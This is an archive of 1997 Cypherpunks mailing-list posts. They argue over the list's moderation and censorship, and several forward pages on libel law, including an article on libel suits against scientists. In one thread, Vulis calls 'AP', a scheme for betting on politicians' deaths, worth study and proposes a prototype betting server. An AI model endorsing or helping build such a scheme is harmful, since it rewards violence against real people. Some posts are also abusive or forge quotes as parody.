From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:52:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701262312.PAA26813@toad.com>
Message-ID: <c0761D83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> Regardless of which side you take on this matter, remember that the issue
> was forced by the actions of an extremely small segment of the list
> "population."

The list "population" (readers) is a couple of thousand people, almost
all of whom are lurkers. All posters are an extremely small segment of
the readership. It's true on most Internet forums.

> The decision of that small segment to excercise its rights "in extreme"
> passed the tolerance thresholds of increasing numbers of list members,
> and the end result was a "restriction" adopted/elected/forced-on (colour
> it however you chose) on the entire "population."
>
> "Rights" are derived from social responsibility; its either that, or the
> "law of the jungle."

V.I.Lenin said: "liberty is a recognized necessity".
(I'll let Igor correct my translation is it's wrong.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Happy birthday to Oksas
In-Reply-To: <Pine.SOL.3.93.970126212732.25337A-100000@pegasus.montclair.edu>
Message-ID: <6D861D84w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 	That's my birthday...

Happy birthday to you,
 Happy birthday to you,
  Happy birthday dear Oksas,
   Happy birthday to you!

> 	have a great week ahead everyone!

Have a good year.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship
In-Reply-To: <199701270233.SAA03386@adnetsol.adnetsol.com>
Message-ID: <Ni861D85w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Ross Wright" <rwright@adnetsol.com> writes:

> On or About 26 Jan 97 at 2:19, blanc wrote:
>
> > >Igor Chudov @ home wrote:
> > >>>Jim Choate wrote:
> > >>>>>Dr.Dimitri Vulis KOTM wrote:
> > >>>>>>>irrelevant@nowhere.com wrote:
> > >>>>>>>>>>Dale Thorn wrote:
> >
> > It can be said 100,000 times, but it still comes out the same:
> > Just as in "The only cure for bad speech is more speech", "the only
> > cure for 'list-focus-drift' is more on-focus postings".
>
> THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
> OBJECT TO.

Comversely, some people are willing to give up their own freedom of
speech so as to silence others whose views they don't like. They
hope that they'll be censored less than their "enemies". But a forum
can't be "a little bit censored" just like a woman can't be "a little
bit pregnant".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Jan 1997 20:05:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Choate Speaks Out on My Part of the Net (fwd)
Message-ID: <199701270430.WAA02102@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Jan 1997 20:07:57 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Jim Choate Speaks Out on My Part of the Net
> 
> Jim Choate wrote:

> > If you really and truly believe that the net belongs to everyone and nobody
> > has a right to limit or otherwise control the hardware and software along
> > with the associated comm links they own and pay for then you obviously don't
> > understand what is going on.

> > For instance, since Toto pays for the hardware and software that comprises
> > his part of the net, he is free to limit, control, and edit for content,
> > anything that passes through his part of the net.
> > Although I sometimes disagree with Toto because of my limited ability to
> > understand things on a conceptual level, his rugged good looks, charm,
> > and superior intelligence show that he should be allowed to control his
> > own privately owned part of the net and anything that passes through it.
> 
> >                                                  Jim Choate
> >                                                  CyberTects
> >                                                  ravage@ssz.com
> 
> Jim,
>  Thank you for your support in my efforts to exert supreme control over
> the part of the net that I have paid for.
>  I am sure that you will continue to fight for the right of myself and
> the government of Singapore to use that control for whatever purpose
> they choose.
>  As you can see above, I have enhanced your posting so that it more
> closely conforms to the beliefs that my paid-for part of the net was
> set up to espouse.

Are you aware that attributing statements in print to a party when that
party did not write them is a crime?

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 21:10:57 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126202135.24614A-100000@pegasus.montclair.edu>
Message-ID: <32EC4BD6.44A2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.

  I don't go in for that sick, perverted stuff, myself, but I have
a friend...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <32EC1683.4DD0@gte.net>
Message-ID: <TN861D86w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > jim bell <jimbell@pacifier.com> writes:
> > > Look, I've proposed what I consider to be a remarkably consistent method
> > > prevent the kind of political tyranny that you criticize, and I don't see
> > > any recognition of this fact.
>
> > I said many times that I find AP a very interesting notion, worthy of study
> > Given how fast online gambling is growing, how soon do we have to wait for
> > a web site for taking bets on deaths of politicians and other prominents?
> > Why not set one up, using "funny money" not convertible to anything?
>
> If AP could really work, and AP is enabled by strong p-k crypto,
> that fact alone would justify the Washington boys doing *everything*
> in their power to stop *real* crypto (i.e., no back doors).

But they can't; and their efforts (ITAR, EAR, et al) are totally irrelevant
and ineffective and not worth the time people spend fighting them.

A prototype AP betting server, first limited to very innocent events (like
usenet postings containing certain regexps) and using "funny money" for bets,
would be a good demo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
In-Reply-To: <32EC30E2.625D@sk.sympatico.ca>
Message-ID: <i3861D88w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
>   Let them know that if they want to censor you, they will have to
> censor your 'strong' crypto. Even if you choose to fight by showing
> up with your gun on your hip, at high-noon, it still doesn't hurt to
> have one tucked in your boot, as well.

Certain unnamed people believe that "strong" crypto, like free speech,
is only for those who use it "responsibly". Privacy is for the elite;
and they wish to join the elite, rather then extend the right to privacy
and/or free speech to the "unwashed masses".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 20:00:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <32EC38BC.5511@sk.sympatico.ca>
Message-ID: <B0861D89w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
>
> > How does one country get on top and terrorize the whole world?  By
> > following Tom Wolfe's intimation concerning the pirates: "The people
> > on the East coast were constantly victimized because they couldn't
> > comprehend just how vicious and ruthless the pirates really were"
> > (quote approximate).
>
> Dale,
>   When I read posts like this, I wonder how any rationally thinking
> person can possibly believe that socio/politico concerns have no
> place in the discussion of crypto.
>   It is my belief that many of the more atrocious acts being performed
> against the citizens by various governments are made possible by the
> fact that there are so few people who recognize a 'pirate' when they
> see one.
>   While I appreciate that there are those who may be furthering the
> cause of crypto, privacy and freedom through official channels, the
> controlled media, and such, there needs to be a forum in which
> people are free to use what they consider to be the 'correct'
> terminology to refer to those who have usurped democracy in order
> to control the citizens for their own personal profit.
>   i.e. 'Pirates'

Right now, you can still say anything you like in "cypherpunks-unedited".
Anyone subscribed to the moderated cypherpunks list is free to resubscribe.
If the masses of lurkers choose not to do it, it's their loss, and not
your or my responsibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 21:11:30 -0800 (PST)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <Pine.BSF.3.91.970126133331.6251B-100000@mcfeely.bsfs.org>
Message-ID: <32EC50C7.5E9E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat wrote:
> Regardless of which side you take on this matter, remember that the issue
> was forced by the actions of an extremely small segment of the list
> "population."

  Exactly. The same think happened at Kent State, when an extremely
small
segment of the student body forced U.S. Government forces to shoot them.

> The decision of that small segment to excercise its rights "in extreme"
> passed the tolerance thresholds of increasing numbers of list members,
> and the end result was a "restriction" adopted/elected/forced-on (colour
> it however you chose) on the entire "population."

  Speaking of 'colouring', Mr. Rabid Revisionist-smallsegmentinextreme,
perhaps you might be so kind to explain the use of the word 'elected'
as it applies to an announcement that a single individual had decided
to act for the good of all, irregardless of the wishes of others.
 
> "Rights" are derived from social responsibility; its either that, or the
> "law of the jungle."

  Social responsibility includes speaking up when the king has no
clothes,
except for the armband with the Swastika on it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Sun, 26 Jan 1997 14:54:22 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Cellular location...
Message-ID: <19970126225416.15792.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 25 Jan 1997, Mark M. wrote:

> I wonder how expensive it would be to put a GPS receiver in a cell phone and
> have the option to transmit the coordinates on a separate channel.  There
> would be little difference between this and forcing cell phone companies to
> triangulate every call.  The primary motivation for this is almost certainly
> "location escrow" to make it easier for the feds to track drug dealers.

Of course, one could always follow the ID4 example and triangulate cells
from a single location, preferably using equipment that any small-time
operator can find in his own car.

-- 3bmice






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 20:44:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Happy birthday to Oksas
In-Reply-To: <6D861D84w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970126233915.26931B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




	Thank you Dr. Vulis !

	:)

	oksas
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 21:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: libel.html
Message-ID: <199701270550.XAA02278@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   [IMAGE]
   
Libel and Slander

   
   
   "Libel" involves the publishing of a falsehood that harms someone.
   Slander is the same doctrine applied to the spoken word. Collectively,
   they are referred to as "defamation". Both are a matter of state laws,
   which usually (not always) require that the falsehood be intentional.
   
   In New York Times v. Sullivan, the Supreme Court held that the First
   Amendment requires that, before a public official can recover damages
   for a defamatory statement, he must prove it was made with "actual
   malice", even if state laws otherwise allow recovery for negligent
   defamation. The Court has since expanded this to cover not only public
   officials but "public figures", including individuals who involve
   themselves in controversies.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 21:27:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: libelfrm.htm
Message-ID: <199701270551.XAA02285@einstein>
MIME-Version: 1.0
Content-Type: text/plain



                                LIBEL CHECKLIST
                                       
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Look for material that identifies a person or an entity.

     Keep in mind that it is possible to identify people or entities
     without actually using a name. If the material contains identifiable
     voices, likenesses, or descriptions, it could be a problem.
     
   ___ The material identifies a person or entity.
   
STOP HERE if the material does not identify a person or entity.

   You can't have a libel without someone to complain about it!
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Is any identified person dead?

     There is little reason to be concerned with statements or other
     material reflecting badly on dead persons because the law only
     protects "the memory of the dead," giving no cause of action to
     decedents. So long as the material concerns only the dead person,
     you need not answer the rest of the questions on this form.
     
   ___The person identified is dead.
   
STOP HERE if the person identified is dead.

   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
If material identifies a living person, is it:

   A private individual.
   
   ___A public person.
   
   ___A political person.
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Would the material negatively influence a reasonable reader's opinion of the
person or entity identified?

   ___a.
          It would reflect badly on the character of the person or
          entity.
          
   ___b.
          It could harm the reputation, diminish the esteem, respect or
          good will in which the person or entity's relevant community
          holds him, her or it.
          
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
If the material might reflect badly on character and/or harm reputation, would
the harm be the result of:

   ___An explicit statement.
   
   ___An insinuation.
   
   ___A sarcastic statement.
   
   ___A parody or cartoon.
   
   ___An opinion that implies that there are unstated defamatory facts
   underlying it.
   
   ___Other.
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
There are several possible defenses to a claim of defamation, although none may
apply in a particular case. Check one of the following defenses only if you are
fairly certain it would apply.

   ___The statement or other material is true.
   
   ___The statement or other material is purely an expression of opinion
   and not an assertion of fact.
   
   ___The statement or other material constitutes a fair comment on a
   matter of public opinion, for example, the use of public money,
   disbarment of attorneys, management of public institutions and
   charities, management of private companies whose activities widely
   affect the public (pollution, delivery of medical services, common
   carriage, employment practices, discrimination, etc.) or the review of
   books, public entertainment, sports events or scientific discoveries.
   
   ___No one could reasonably interpret the statement or image to be an
   assertion of actual fact about the person or entity.
   
   ___The statement or image can be characterized as mere words of abuse,
   indicating dislike for the person or entity, but does not suggest any
   specific charge.
   
   ___The subject of the statement or image has given consent to or
   approved the material.
   
   _________________ __________
   
     _________________________________________________________________
   
   University Liability for the Wrongful Acts of Employee Publishers |
   Copyright Management Center Homepage | Intellectual Property Section
   Homepage
     _________________________________________________________________
   
   
    8 August 1995
    
   University of Texas System Office of General Counsel
   
   
    Comments to gharper@utsystem.edu
    
   
     _________________________________________________________________




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:27:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p4.html
Message-ID: <199701270552.XAA02289@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Identification
     _________________________________________________________________
   
   A plaintiff must prove that the alleged defamatory publication refers
   to him or her.
   
   Relatives cannot sue on behalf of a deceased person. Governmental
   entities cannot bring libel claims, nor can members of large groups
   (usually 25 or more). However, if the statement can be interpreted as
   referring to a particular person in a group, that person can sue.
   Also, if the offending information pertains to a majority of the
   members of a small group, any member of the group has standing to sue.
   
   A corporation may bring a libel claim if the alleged defamatory
   statement raises doubts about the honesty, credit, efficiency or
   prestige of that business. However, if the statements refer only to
   corporate officers, the corporation cannot litigate on their behalf.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 21:29:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: libsln.htm
Message-ID: <199701270553.XAA02293@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   Landskroner, LTD. [INLINE]
   
Libel / Slander

   
   
   Libel / Slander is an area that involves defamatory oral or written
   statements containing false and misleading material which causes
   damage or injury to reputation and/or monetary loss.
   
   We provide a quick review of their success stories , some media and
   newspaper articles about what they've been able to do for their
   clients, and published articles about this topic.
   
   Please e-mail us with questions about our service! Landskroner and
   Phillips 
   [INLINE]
   
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   [INLINE]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 20:54:04 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701270316.VAA00352@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970126234608.26931C-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> Nurdane Oksas wrote:
> > 	California is know for very beautiful girls ... 
> 
> wrong.

	well, seems D. Thorn agrees with the song: 'california girls'


	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:30:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: prof_960318.html
Message-ID: <199701270554.XAA02296@einstein>
MIME-Version: 1.0
Content-Type: text/plain



      LIBEL CONCERNS ARE A REALITY FOR SCIENTISTS WHO SPEAK OUT IN PUBLIC
                                       
   Author: Robert Finn (The Scientist, Vol:10, #6, p. 15, March 18, 1996)
   
   In today's increasingly litigious society, anyone can become the
   target of a lawsuit. A potential libel action, for example, should not
   only be the concern of publishers and journalists. The threat of a
   libel suit is now a reality for anyone, including scientists who
   choose to speak out publicly-or even write letters to the editor-on
   controversial issues.
   
   A libel suit can come without warning when an ordinary scientist is
   engaged in ordinary scientific activities. For example, Arnold S.
   Relman, editor emeritus of the New England Journal of Medicine, was
   quoted in a newspaper article criticizing the advertising practices of
   a for-profit hospital. Victor J. Stenger, a professor of physics at
   the University of Hawaii at Manoa, incorrectly described Israeli
   psychic Uri Geller's legal history in a book debunking paranormal
   phenomena. And Jan Moor-Jankowski, as editor of the Journal of Medical
   Primatology, merely printed a letter from an animal activist opposing
   a pharmaceutical company's experiments.
   
   Each of these scientists soon found himself faced with the dreaded
   prospect of defending himself in a libel suit. All three eventually
   prevailed in court, or the charges ended up being dropped. But
   defending themselves was a painful, distracting, and often expensive
   process. The lessons they learned are instructive to all scientists
   who write or make public statements.
   
   Arnol Relman
   CASE DISMISSED: "I think they knew they had no case," says Arnold
   Relman of the suit files against him by a for-profit cancer-treatment
   center. The First Amendment to the United States Constitution provides
   powerful-but not impregnable-protection to anyone who speaks on
   controversial topics. "Libel is a civil action, a tort action that you
   can bring against somebody claiming that a statement, either written
   or oral, is false and defamatory and caused you injury," explains
   Charles S. Sims, a noted libel attorney and partner at Proskauer Rose
   Goetz and Mendelsohn, a New York law firm. (This firm handles libel
   matters for The Scientist.)
   
   Sims notes that legal bills for a libel defense can quickly mount up.
   Even if the case is dismissed quickly, one can easily run up $20,000
   to $60,000 in costs, and if a case drags on, it can go into the
   millions. Libel insurance can cost publishers thousands of dollars per
   year, and is an additional factor in today's high cost of publishing.
   
   Victor Stenger
   ERRATUM SHEET INSERTED: Victor Stenger took measures to correct his
   text but was sued nonetheless. "If you are sued, you need to check
   with your employer or your institution or your professional
   group-anybody who might consider themselves morally bound to come to
   your aid," advises Sims. "And you also need to look at your home
   insurance policy. An astonishing number of home insurance policies
   have clauses which turn out to be usable to force an insurance company
   to pay for a defense."
   
Landmark Case

   The legal axiom goes, "Truth is an absolute defense against libel,"
   and indeed no true statement of fact can ever be libelous, and neither
   can statements of judgment or opinion, which are neither true nor
   false. Both these principles were put to the test in the landmark case
   that Immuno AG (a pharmaceutical company based in Austria) brought
   against Moor-Jankowski. The former editor of the Journal of Medical
   Primatology was then director of New York University's Laboratory for
   Experimental Medicine and Surgery in Primates. He has recently founded
   the Center for Academic Freedom, based in New York City.
   
   As chronicled in the book The Monkey Wars by Deborah Blum (Oxford
   University Press, 1994) and in interviews with Moor-Jankowski and his
   attorney Philip Byler (now at the New York firm Layton, Brooks and
   Hecht), it all started in January 1983, when Shirley McGreal wrote a
   letter to the Journal of Medical Primatology objecting to some
   experiments proposed by Immuno AG.
   
   McGreal is an animal activist and founder of the Charleston,
   S.C.-based International Primate Protection League. She learned that
   Immuno planned a study of non-A/non-B hepatitis in African
   chimpanzees, at a research station in Sierra Leone. Based on what she
   learned about the experiments, and the conclusions she drew from these
   facts, she had several objections. Among them were that the
   experimenters would be using wild-caught chimpanzees, whose numbers
   are dwindling; that they would release them after experimentally
   infecting them with hepatitis; and that the released chimps might
   transmit the disease to other animals.
   
   With McGreal's letter to the editor in hand, Moor-Jankowski tried to
   elicit a rebuttal from Immuno's research director. Instead, he soon
   received a letter from Immuno's lawyers asserting that McGreal's
   statements were inaccurate and reckless. It read, in part: "We would
   also like to advise you that our review of Dr. McGreal's letter
   indicated that it is not a fair comment regarding our client's
   activities, and should you proceed with publication, without giving us
   the opportunity for a meaningful response, we shall be compelled to
   take whatever actions we deem necessary to redress our client's
   rights."
   
   But though Moor-Jankowski waited until December 1983 before publishing
   McGreal's letter (S. McGreal, J. Med. Primatol., 12:280, 1983), Immuno
   never offered a substantive response to her charges. During that time
   Moor-Jankowski himself came to be critical of Immuno's planned
   experiments, and he was quoted to that effect in New Scientist (N.
   Heneson, 100:165, 1983).
   
   Immuno then brought suit against a number of institutions and
   individuals, including McGreal, Moor-Jankowski, the Journal of Medical
   Primatology, New Scientist, the distributors of both publications, and
   NYU. Although Immuno ultimately dropped plans for the experiments, it
   continued pursuing its libel cases. In response, almost all the
   defendants or their insurance companies chose to settle rather than
   fight.
   
   The exception was Moor-Jankowski. Born in Poland, he explains his
   decision to persist by saying, "As a very young boy I fought the
   Germans for freedom. I didn't want to stand up for muzzling."
   
   It cost him seven years and about $2 million in legal fees ($200,000
   of which Moor-Jankowski paid himself), and it generated an
   eight-volume legal record as the case cycled among the New York County
   Supreme Court, the New York State Court of Appeals, and the U.S.
   Supreme Court. In the end, Moor-Jankowski was vindicated. The Court of
   Appeals ruled that the letter was a combination of truthful factual
   statements and opinion, both of which are protected by the First
   Amendment. Jan Moor-Jankowski
   HE CHOSE TO FIGHT: Jan Moor-Jankowski did not settle his libel case
   out of court because "I didn't want to stand up for muzzling."
   
   "When you're talking about a letter to the editor, you're talking
   about what the Court of Appeals in New York correctly viewed as a
   forum to air grievances and views on the part of the public," says
   Philip Byler, Moor-Jankowski's attorney. "It's a precedent because
   it's a . . . decision which adhered to a broad constitutional
   protection of opinion."
   
   Byler maintains that the decision makes clear that "you do have a
   right to express views that are not orthodox. You do have a right to
   express viewpoints which over the course of time will be shown to be
   wrong-minded. A letter to the editor is a forum for opinion, and quite
   frankly people should feel the leeway to express themselves without
   the fear that sometime in the future, in the libel courtroom, where
   money damages are at stake, they will be shown to be wrong. That
   doesn't say that you have a right to make false, defamatory statements
   that are really hurtful to somebody."
   
   Byler's advice to authors of letters to the editor: Clearly separate
   factual statements from statements of opinion. "To the extent you are
   making a statement that's based on inference or speculation or
   conjecture, use words that indicate that." Byler believes that as
   editor of the journal, Moor-Jankowski more than fulfilled his
   obligations by deliberating a considerable time before publication,
   all the while soliciting a substantive response from the criticized
   party.
   
Public Figures

   For a statement to be libelous, the offended party must suffer actual
   damage, notes Sims. "It's got to be really harmful, not just something
   that offends somebody's sensibilities, but something that harms their
   reputation."
   
   This principle came into play in Cornell University astronomer Carl
   Sagan's suit against Apple Computer Inc. of Cupertino, Calif. Apple
   had been using "Carl Sagan" as its internal name for a new computer.
   Sagan got wind of this, and his lawyers sent Apple a letter
   instructing the company to cease and desist. In response, a project
   manager changed the computer's name to BHA, an acronym for Butt-Head
   Astronomer. Sagan sued Apple in the Central District of California
   for, among other things, libel, infliction of emotional distress, and
   improperly using his name.
   
   Judge Lourdes G. Baird dismissed the libel portion of the suit,
   holding that "one does not seriously attack the expertise of a
   scientist using the undefined phrase 'butt-head,' and that a reader
   aware of the context would understand the project manager was
   retaliating in a humorous and satirical way." Sagan, who declined to
   be interviewed for this article, later reached a settlement with Apple
   on the other aspects of the suit.
   
   But even when a statement is both false and harmful it still may not
   be libel, says Sims. "If it criticizes one particular event, in many
   states it's immune from prosecution under the single-instance rule. If
   you say that a doctor screwed up an operation, that's not libelous. If
   you say that he's a terrible surgeon, it might be. Similarly, if
   you're writing a review of a scientific article and say that scientist
   miscalculated the numbers... that's not going to be actionable. If you
   said, on the other hand, that somebody's research was fraudulent, it
   certainly would be."
   
   For individuals judged to be public figures, a statement must not only
   be false but also must be made with malice or with "reckless disregard
   for the truth." Explains Sims: "All 'reckless disregard' means is that
   you actually,subjectively entertained doubts and went ahead and
   published anyway. If you believe what you are saying, as a matter of
   law you cannot-if the jury or the judge believes you-lose a libel
   case."
   
   This would likely have been a factor had Uri Geller's suit against
   Victor Stenger not been dismissed before it ever got to trial. In his
   book Physics and Psychics: The Search for a World Beyond the Sensesm
   (Buffalo, N.Y., Prometheus Books, 1990), Stenger stated of Geller that
   "... he was once arrested for claiming his feats were performed with
   psychic power." In fact, Stenger had drawn an incorrect conclusion
   from some of his research material. The accounts Stenger relied upon
   mentioned that Geller had been "brought to court," but it had been in
   a civil case, and he had never been arrested.
   
   Once Stenger realized his error, he and his publisher voluntarily
   inserted an erratum sheet and changed the wording in later printings
   of the book. Nevertheless, Geller sued Stenger for libel in Florida,
   London, and Hawaii.
   
   Stenger is convinced that despite his error he would have prevailed
   had the case come to trial. "You can say something that is incorrect
   if at the time it was to the best of your knowledge correct," he
   explains. "That never came up, because as often happens in legal
   cases, you get out on technicalities before the merits are really
   discussed."
   
   Geller's Florida and Hawaii cases were dismissed because he brought
   them after those states' statutes of limitations had expired. And his
   case against Stenger in London was dropped as part of a global
   settlement of several related cases between Geller and the Amherst,
   N.Y.-based Committee for the Scientific Investigation of Claims of the
   Paranormal.
   
New Sources Of Trouble

   Typically, libel law says that only a corporation or a living person
   can be disparaged. But in 12 states (Alabama, Arizona, Colorado,
   Florida, Georgia, Idaho, Louisiana, Mississippi, Ohio, South Carolina,
   South Dakota, and Texas) it has recently become possible to libel a
   fruit or vegetable. Farmers in those states can now sue those who make
   false claims about agricultural products.
   
   These "agricultural disparagement" laws were apparently inspired by a
   1989 report from the New York City-based Natural Resources Defense
   Council (NRDC) linking the apple additive Alar to cancer. Growers
   turned to state legislators in an effort to fend off criticism by NRDC
   and other watchdog organizations. Lawrie Mott, senior scientist at
   NRDC's San Francisco office, calls them "veggie hate-crimes laws," and
   says of the states that have passed them, "They're attempting to
   silence those people who have raised questions about the food supply.
   
   "It's not clear that these laws are constitutional," Mott continues.
   "If it's based on 'reliable scientific fact,' it's not considered
   disparagement under the law. That's a very vague term, and one that's
   primed for litigation. But the ultimate advice I would have [for
   scientists] is: If what you say is accurate, stick to your guns. If
   you have scientific concerns about the safety of the food supply,
   don't be silenced by people with obvious interests in keeping it
   quiet."
   
   Lawrie Mott
   LETTUCE LIBELED? Lawrie Mott describes the "agricultural
   disparagement" laws as "veggie hate-crimes laws". Additionally, new
   modes of scientific communication-E-mail, Usenet newsgroups, and the
   World Wide Web-have become further sources of libel-related worries.
   As Dan L. Burk, an assistant professor at Seton Hall University's
   School of Law, writes: "For the first time in history, global computer
   networks have in essence made everyone a publisher-with a few
   keystrokes, ordinary citizens can make their opinions known to
   thousands of others... This is an exciting development for individual
   freedom of expression, but there is a dark side to this unprecedented
   opportunity: Such computer-mediated communication may also expose
   ordinary citizens to liability on an unprecedented scale" (D.L. Burk,
   The Scientist, April 3, 1995, page 12).
   
   One thing is certain: Legal liability issues in electronic
   communication are in a highly unsettled state. For example, there is
   no agreement on the critical issue of whether service providers such
   as CompuServe and America Online should be thought of as publishers,
   and hence at least partially responsible for the content of their
   service, or "common carriers" and thus no more responsible than is the
   phone company for conversations over its wires.
   
   Another recently developed legal scheme for silencing criticism of
   corporate practices has come to be called the "SLAPP suit." SLAPP
   stands for Strategic Litigation Against Public Participation. The law
   has long allowed just about anyone to sue anyone else for anything,
   and a SLAPP suit often takes the form of an unwinnable libel suit that
   is intended to harass and deplete the resources of critics.
   
   Arnold Relman, a longtime critic of what he calls the
   "medical-industrial complex," found himself the target of a what he
   considered a harassing libel suit after a reporter for the Dallas
   Morning News asked for his comment on some newspaper and radio ads
   placed by a for-profit cancer-treatment center, the Zion, Ill.-based
   Cancer Treatment Centers of America. (This is not technically a SLAPP
   suit because Relman's statement was quoted in a newspaper account and
   not made in the course of a public proceeding.) According to Relman,
   the ads implied that the center was able to help people with advanced
   cancer who had failed to respond to conventional medical treatments.
   
